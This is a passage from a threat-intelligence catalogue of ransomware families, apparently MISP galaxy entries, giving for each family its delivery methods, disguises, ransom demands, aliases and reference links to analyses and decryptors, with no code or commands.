- similar: misp-galaxy:ransomware="Globe2 Ransomware" with estimative-language:likelihood-probability="likely"

Table 5906. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/globe3-ransomware.html
https://www.bleepingcomputer.com/forums/t/624518/globe-ransomware-help-and-support-purge-extension-how-to-restore-fileshta/
https://www.bleepingcomputer.com/news/security/the-globe-ransomware-wants-to-purge-your-files/
https://decryptors.blogspot.co.il/2017/01/globe3-decrypter.html
https://decrypter.emsisoft.com/globe3

BleedGreen Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 500$ in bitcoins. Requires .NET Framework 4.0. Gets into your startup system and sends you notes like the one below: https://4.bp.blogspot.com/-xrr6aoB_giw/WG1UrGpmZJI/AAAAAAAAC-Q/KtKdQP6iLY4LHaHgudF5dKs6i1JHQOBmgCLcB/s1600/green1.jpg

The tag is: *misp-galaxy:ransomware="BleedGreen Ransomware"*

BleedGreen Ransomware is also known as:

- FireCrypt Ransomware

Table 5907. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/bleedgreen-ransomware.html
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/

BTCamant Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Original name is Mission 1996 or Mission: “Impossible” (1996) (like the movie)

The tag is: *misp-galaxy:ransomware="BTCamant Ransomware"*

Table 5908. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/btcamant.html

X3M Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. It is also possible to break in using RDP Windows with the help of Pass-the-Hash system, PuTTY, mRemoteNG, TightVNC, Chrome Remote Desktop, modified version of TeamViewer, AnyDesk, AmmyyAdmin, LiteManager, Radmin and others. Ransom is 700$ in Bitcoins.

The tag is: *misp-galaxy:ransomware="X3M Ransomware"*

Table 5909. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/x3m-ransomware.html

GOG Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="GOG Ransomware"*

Table 5910. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/gog-ransomware.html
https://twitter.com/BleepinComputer/status/816112218815266816

RegretLocker

RegretLocker is a new ransomware that has been found in the wild in the last month that does not only encrypt normal files on disk like other ransomwares. When running, it will particularly search for VHD files, mount them using Windows Virtual Storage API, and then encrypt all the files it finds inside of those VHD files.

The tag is: *misp-galaxy:ransomware="RegretLocker"*

Table 5911. Table References

Links
http://chuongdong.com/reverse%20engineering/2020/11/17/RegretLocker/

EdgeLocker

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.1 Bitcoins. Original name is TrojanRansom.

The tag is: *misp-galaxy:ransomware="EdgeLocker"*

Table 5912. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/edgelocker-ransomware.html
https://twitter.com/BleepinComputer/status/815392891338194945

Red Alert

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Fake name: Microsoft Corporation. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Red Alert"*

View relationships graph

Red Alert has relationships with:

- similar: misp-galaxy:malpedia="Red Alert" with estimative-language:likelihood-probability="likely"

Table 5913. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/red-alert-ransomware.html
https://twitter.com/JaromirHorejsi/status/815557601312329728

First

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="First"*

Table 5914. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/first-ransomware.html

XCrypt Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Written on Delphi. The user requests the victim to get in touch with him through ICQ to get the ransom and return the files.

The tag is: *misp-galaxy:ransomware="XCrypt Ransomware"*

XCrypt Ransomware is also known as:

- XCrypt

Table 5915. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/xcrypt-ransomware.html
https://twitter.com/JakubKroustek/status/825790584971472902

7Zipper Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="7Zipper Ransomware"*

Table 5916. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/7zipper-ransomware.html
https://1.bp.blogspot.com/-ClM0LCPjQuk/WI-BgHTpdNI/AAAAAAAADc8/JyEQ8-pcJmsXIntuP-MMdE-pohVncxTXQCLcB/s1600/7-zip-logo.png

Zyka Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 170$ or EUR in Bitcoins.

The tag is: *misp-galaxy:ransomware="Zyka Ransomware"*

Table 5917. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/zyka-ransomware.html
https://www.pcrisk.com/removal-guides/10899-zyka-ransomware
https://download.bleepingcomputer.com/demonslay335/StupidDecrypter.zip
https://twitter.com/GrujaRS/status/826153382557712385

SureRansom Ransomeware (Fake)

It's directed to English speaking users, therefore is able to strike worldwide. This ransomware does not really encrypt your files. Ransom requested is £50 using credit card.

The tag is: *misp-galaxy:ransomware="SureRansom Ransomeware (Fake)"*

Table 5918. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/sureransom-ransomware.html
http://www.forbes.com/sites/leemathews/2017/01/27/fake-ransomware-is-tricking-people-into-paying/#777faed0381c

Netflix Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses the known online library as a decoy. It poses as Netflix Code generator for Netflix login, but instead encrypts your files. The ransom is 100$ in Bitcoins.

The tag is: *misp-galaxy:ransomware="Netflix Ransomware"*

Table 5919. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/netflix-ransomware.html
http://blog.trendmicro.com/trendlabs-security-intelligence/netflix-scam-delivers-ransomware/

https://www.bleepingcomputer.com/news/security/rogue-netflix-app-spreads-netix-ransomware-that-targets-windows-7-and-10-users/
http://www.darkreading.com/attacks-breaches/netflix-scam-spreads-ransomware/d/d-id/1328012
https://4.bp.blogspot.com/-bQQ4DTIClvA/WJCIh6Uq2nI/AAAAAAAADfY/ hB5HcjuGgh8rRJKeLHo*IRz3Ezth22-wCEw/s1600/form1.jpg[https://4.bp.blogspot.com/-bQQ4DTIClvA/ WJCIh6Uq2nI/AAAAAAAADfY/hB5HcjuGgh8rRJKeLHo*IRz3Ezth22-wCEw/s1600/form1.jpg]
https://4.bp.blogspot.com/-ZnWdPDprJOg/WJCPeCtP4HI/AAAAAAAADfw/kR0ifI1naSwTAwSuOPiw8ZCPr0tSIz1CgCLcB/s1600/netflix-akk.png

Merry Christmas

It’s directed to English and Italian speaking users, therefore is able to infect worldwide. Most attacks are on organizations and servers. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. They pose as a Consumer complaint notification that’s coming from Federal Trade Commission from USA, with an attached file called “complaint.pdf”. Written in Delphi by hacker MicrRP.

The tag is: *misp-galaxy:ransomware="Merry Christmas"*

Merry Christmas is also known as:

- Merry X-Mas
- MRCR

Table 5920. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/mrcr1-ransomware.html
https://www.bleepingcomputer.com/news/security/-merry-christmas-ransomware-now-steals-user-private-data-via-diamondfox-malware/
http://www.zdnet.com/article/not-such-a-merry-christmas-the-ransomware-that-also-steals-user-data/
https://www.bleepingcomputer.com/news/security/merry-christmas-ransomware-and-its-dev-comodosecurity-not-bringing-holiday-cheer/
https://decrypter.emsisoft.com/mrcr

Seoirse Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Seoirse is how in Ireland people say the name George. Ransom is 0.5 Bitcoins.

The tag is: *misp-galaxy:ransomware="Seoirse Ransomware"*

Table 5921. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/seoirse-ransomware.html

KillDisk Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Every file is encrypted with a personal AES-key, and then AES-key encrypts with a RSA-1028 key. Hacking by TeleBots (Sandworm). Goes under a fake name: Update center or Microsoft Update center.

The tag is: *misp-galaxy:ransomware="KillDisk Ransomware"*

Table 5922. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/killdisk-ransomware.html
https://www.bleepingcomputer.com/news/security/killdisk-ransomware-now-targets-linux-prevents-boot-up-has-faulty-encryption/
https://www.bleepingcomputer.com/news/security/killdisk-disk-wiping-malware-adds-ransomware-component/
http://www.zdnet.com/article/247000-killdisk-ransomware-demands-a-fortune-forgets-to-unlock-files/
http://www.securityweek.com/destructive-killdisk-malware-turns-ransomware
http://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt/
https://cyberx-labs.com/en/blog/new-killdisk-malware-brings-ransomware-into-industrial-domain/

DeriaLock Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Maker is arizonacode and ransom amount is 20-30$. If the victim decides to pay the ransom, he will have to copy HWID and then speak to the hacker on Skype and forward him the payment.

The tag is: *misp-galaxy:ransomware="DeriaLock Ransomware"*

Table 5923. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/derialock-ransomware.html

https://www.bleepingcomputer.com/news/security/new-derialock-ransomware-active-on-christmas-includes-an-unlock-all-command/

BadEncript Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="BadEncript Ransomware"*

Table 5924. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/badencript-ransomware.html
https://twitter.com/demonslay335/status/813064189719805952

AdamLocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the creator is puff69.

The tag is: *misp-galaxy:ransomware="AdamLocker Ransomware"*

Table 5925. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/adamlocker-ransomware.html

Alphabet Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses as Windows 10 Critical Update Service. Offers you to update your Windows 10, but instead encrypts your files. For successful attack, the victim must have .NET Framework 4.5.2 installed on him computer.

The tag is: *misp-galaxy:ransomware="Alphabet Ransomware"*

View relationships graph

Alphabet Ransomware has relationships with:

- similar: misp-galaxy:malpedia="Alphabet Ransomware" with estimative-language:likelihood-probability="likely"

Table 5926. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/alphabet-ransomware.html
https://twitter.com/PolarToffee/status/812331918633172992

KoKoKrypt Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread by its creator in forums. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files and documents and more. The ransom is 0.1 bitcoins within 72 hours. Uses Windows Update as a decoy. Creator: Talnaci Alexandru

The tag is: *misp-galaxy:ransomware="KoKoKrypt Ransomware"*

KoKoKrypt Ransomware is also known as:

- KokoLocker Ransomware

Table 5927. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/kokokrypt-ransomware.html
http://removevirusadware.com/tips-for-removeing-kokokrypt-ransomware/

L33TAF Locker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.5 bitcoins. The name of the creator is staffttt, he also created Fake CryptoLocker

The tag is: *misp-galaxy:ransomware="L33TAF Locker Ransomware"*

Table 5928. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/l33taf-locker-ransomware.html

PClock4 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam (for example: "you have a criminal case against you"), fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PClock4 Ransomware"*

PClock4 Ransomware is also known as:

- PClock SysGop Ransomware

Table 5929. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/pclock4-sysgop-ransomware.html

Guster Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses VBS-script to send a voice message as the first few lines of the note.

The tag is: *misp-galaxy:ransomware="Guster Ransomware"*

Table 5930. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/guster-ransomware.html
https://twitter.com/BleepinComputer/status/812131324979007492

Roga

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker requests the ransom in Play Store cards. https://3.bp.blogspot.com/-ClUef8T55f4/WGKb8U4GeaI/AAAAAAAACzg/UFD0X2sORHYTVRNBSoqd5q7TBrOblQHmgCLcB/s1600/site.png

The tag is: *misp-galaxy:ransomware="Roga"*

View relationships graph

Roga has relationships with:

- similar: misp-galaxy:ransomware="Free-Freedom" with estimative-language:likelihood-probability="likely"

Table 5931. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/roga-ransomware.html

CryptoLocker3 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Creator is staffttt and the ransom is 0.5 botcoins.

The tag is: *misp-galaxy:ransomware="CryptoLocker3 Ransomware"*

CryptoLocker3 Ransomware is also known as:

- Fake CryptoLocker

Table 5932. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/cryptolocker3-ransomware.html

ProposalCrypt Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 1.0 bitcoins.

The tag is: *misp-galaxy:ransomware="ProposalCrypt Ransomware"*

Table 5933. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/proposalcrypt-ransomware.html
http://www.archersecuritygroup.com/what-is-ransomware/
https://twitter.com/demonslay335/status/812002960083394560
https://twitter.com/malwrhunterteam/status/811613888705859586

Manifestus Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker demands 0.2 bitcoins. The ransomware poses as a Window update.

The tag is: *misp-galaxy:ransomware="Manifestus Ransomware "*

Table 5934. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/manifestus-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-23rd-2016-cryptxxx-koolova-cerber-and-more/
https://twitter.com/struppigel/status/811587154983981056

EnkripsiPC Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the hacker is humanpuff69 and he requests 0.5 bitcoins. The encryption password is based on the computer name

The tag is: *misp-galaxy:ransomware="EnkripsiPC Ransomware"*

EnkripsiPC Ransomware is also known as:

- IDRANSOMv3
- Manifestus

View relationships graph

EnkripsiPC Ransomware has relationships with:

- similar: misp-galaxy:malpedia="Manifestus" with estimative-language:likelihood-probability="likely"

Table 5935. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/enkripsipc-ransomware.html
https://twitter.com/demonslay335/status/811343914712100872
https://twitter.com/BleepinComputer/status/811264254481494016
https://twitter.com/struppigel/status/811587154983981056

BrainCrypt Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. So far the victims are from Belarus and Germany.

The tag is: *misp-galaxy:ransomware="BrainCrypt Ransomware"*

Table 5936. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/braincrypt-ransomware.html

MSN CryptoLocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.2 bitcoins.

The tag is: *misp-galaxy:ransomware="MSN CryptoLocker Ransomware"*

Table 5937. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/msn-cryptolocker-ransomware.html
https://twitter.com/struppigel/status/810766686005719040

CryptoBlock Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is in the amount is 0.3 bitcoins. The ransomware is disguises themselves as Adobe Systems, Incorporated. RaaS

The tag is: *misp-galaxy:ransomware="CryptoBlock Ransomware "*

Table 5938. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/cryptoblock-ransomware.html
https://twitter.com/drProct0r/status/810500976415281154

AES-NI Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="AES-NI Ransomware "*

Table 5939. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/aes-ni-ransomware.html

Koolova Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker of this ransomware tends to make lots of spelling errors in his requests. With Italian text that only targets the Test folder on the user's desktop

The tag is: *misp-galaxy:ransomware="Koolova Ransomware"*

Table 5940. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/koolova-ransomware.html
https://www.bleepingcomputer.com/news/security/koolova-ransomware-decrypts-for-free-if-you-read-two-articles-about-ransomware/

Fake Globe Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The ransom is 1bitcoin.

The tag is: *misp-galaxy:ransomware="Fake Globe Ransomware"*

Fake Globe Ransomware is also known as:

- Globe Imposter
- GlobeImposter

View relationships graph

Fake Globe Ransomware has relationships with:

- similar: misp-galaxy:malpedia="GlobeImposter" with estimative-language:likelihood-probability="likely"

Table 5941. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/fake-globe-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-30th-2016-infected-tvs-and-open-source-ransomware-sucks/
https://twitter.com/fwosar/status/812421183245287424
https://decrypter.emsisoft.com/globeimposter
https://twitter.com/malwrhunterteam/status/809795402421641216
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/GrujaRS/status/1004661259906768896

V8Locker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: *misp-galaxy:ransomware="V8Locker Ransomware"*

Table 5942. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/v8locker-ransomware.html

Cryptorium (Fake Ransomware)

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc., however your files are not really encrypted, only the names are changed.

The tag is: *misp-galaxy:ransomware="Cryptorium (Fake Ransomware)"*

Table 5943. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/cryptorium-ransomware.html

Antihacker2017 Ransomware

It's directed to Russian speaking users, there fore is able to infect mosty the old USSR countries. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc … The hacker goes by the nickname Antihacker and requests the victim to send him an email for the decryption. He does not request any money only a warning about looking at porn (gay, incest and rape porn to be specific).

The tag is: *misp-galaxy:ransomware="Antihacker2017 Ransomware"*

Table 5944. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/antihacker2017-ransomware.html

CIA Special Agent 767 Ransomware (FAKE!!!)

It's directed to English speaking users, therefore is able to infect users all over the world. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… Your files are not really encrypted and nothing actually happens, however the hacker does ask the victim to pay a sum of 100$, after 5 days the sum goes up to 250$ and thereafter to 500$. After the payment is received, the victim gets the following message informing him that he has been fooled and he simply needed to delete the note. https://4.bp.blogspot.com/-T8iSbbGOz84/WFGZEbuRfCI/AAAAAAAACm0/SO8Srwx2UIM3FPZcZl7W76oSDCsnq2vfgCPcB/s1600/code2.jpg

The tag is: *misp-galaxy:ransomware="CIA Special Agent 767 Ransomware (FAKE!!!)"*

Table 5945. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/cia-special-agent-767-ransomware.html
https://www.bleepingcomputer.com/virus-removal/remove-cia-special-agent-767-screen-locker
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-16th-2016-samas-no-more-ransom-screen-lockers-and-more/
https://guides.yoosecurity.com/cia-special-agent-767-virus-locks-your-pc-screen-how-to-unlock/

LoveServer Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... This hacker request your IP address in return for the decryption.

The tag is: *misp-galaxy:ransomware="LoveServer Ransomware "*

Table 5946. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/loveserver-ransomware.html

Kraken Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The hacker requests 2 bitcoins in return for the files.

The tag is: *misp-galaxy:ransomware="Kraken Ransomware"*

Table 5947. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/kraken-ransomware.html

Antix Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The ransom is 0.25 bitcoins and the nickname of the hacker is FRC 2016.

The tag is: *misp-galaxy:ransomware="Antix Ransomware"*

Table 5948. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/antix-ransomware.html

PayDay Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The ransom is R$950 which is due in 5 days. (R$ is a Brazilian currency) Based off of Hidden-Tear

The tag is: *misp-galaxy:ransomware="PayDay Ransomware "*

Table 5949. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/payday-ransomware.html
https://twitter.com/BleepinComputer/status/808316635094380544

Slimhem Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is NOT spread using email spam, fake updates, attachments and so on. It simply places a decrypt file on your computer.

The tag is: *misp-galaxy:ransomware="Slimhem Ransomware"*

Table 5950. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/slimhem-ransomware.html

M4N1F3STO Ransomware (FAKE!!!!!)

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... FILES DON’T REALLY GET DELETED NOR DO THEY GET ENCRYPTED!!!!!!!

The tag is: *misp-galaxy:ransomware="M4N1F3STO Ransomware (FAKE!!!!!)"*

Table 5951. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/m4n1f3sto-ransomware.html

Dale Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... CHIP > DALE

The tag is: *misp-galaxy:ransomware="Dale Ransomware"*

Dale Ransomware is also known as:

- DaleLocker Ransomware

UltraLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... Based on the idiotic open-source ransomware called CryptoWire

The tag is: *misp-galaxy:ransomware="UltraLocker Ransomware"*

Table 5952. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/ultralocker-ransomware.html
https://twitter.com/struppigel/status/807161652663742465

AES_KEY_GEN_ASSIST Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: *misp-galaxy:ransomware="AES_KEY_GEN_ASSIST Ransomware"*

Table 5953. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/aeskeygenassist-ransomware.html
https://id-ransomware.blogspot.co.il/2016/09/dxxd-ransomware.html
https://www.bleepingcomputer.com/forums/t/634258/aes-key-gen-assistprotonmailcom-help-support/

Code Virus Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Code Virus Ransomware "*

Table 5954. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/code-virus-ransomware.html

FLKR Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="FLKR Ransomware"*

Table 5955. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/flkr-ransomware.html

PopCorn Time Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. These hackers claim to be students from Syria. This ransomware poses as the popular torrent movie screener called PopCorn. These criminals give you the chance to retrieve your files "for free" by spreading this virus to others. Like shown in the note bellow: https://www.bleepstatic.com/images/news/ransomware/p/Popcorn-time/refer-a-friend.png

The tag is: *misp-galaxy:ransomware="PopCorn Time Ransomware"*

Table 5956. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/popcorntime-ransomware.html
https://www.bleepingcomputer.com/news/security/new-scheme-spread-popcorn-time-ransomware-get-chance-of-free-decryption-key/

HackedLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... NO POINT OF PAYING THE RANSOM—THE HACKER DOES NOT GIVE A DECRYPT AFTERWARDS.

The tag is: *misp-galaxy:ransomware="HackedLocker Ransomware"*

Table 5957. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/hackedlocker-ransomware.html

GoldenEye Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…

The tag is: *misp-galaxy:ransomware="GoldenEye Ransomware"*

View relationships graph

GoldenEye Ransomware has relationships with:

- similar: misp-galaxy:ransomware="Petya" with estimative-language:likelihood-probability="likely"

Table 5958. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/goldeneye-ransomware.html
https://www.bleepingcomputer.com/news/security/petya-ransomware-returns-with-goldeneye-version-continuing-james-bond-theme/
https://www.bleepingcomputer.com/forums/t/634778/golden-eye-virus/

Sage Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…

The tag is: *misp-galaxy:ransomware="Sage Ransomware"*

Table 5959. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/sage-ransomware.html
https://www.bleepingcomputer.com/forums/t/634978/sage-file-sample-extension-sage/
https://www.bleepingcomputer.com/forums/t/634747/sage-20-ransomware-sage-support-help-topic/

SQ_ Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… This hacker requests 4 bitcoins for ransom.

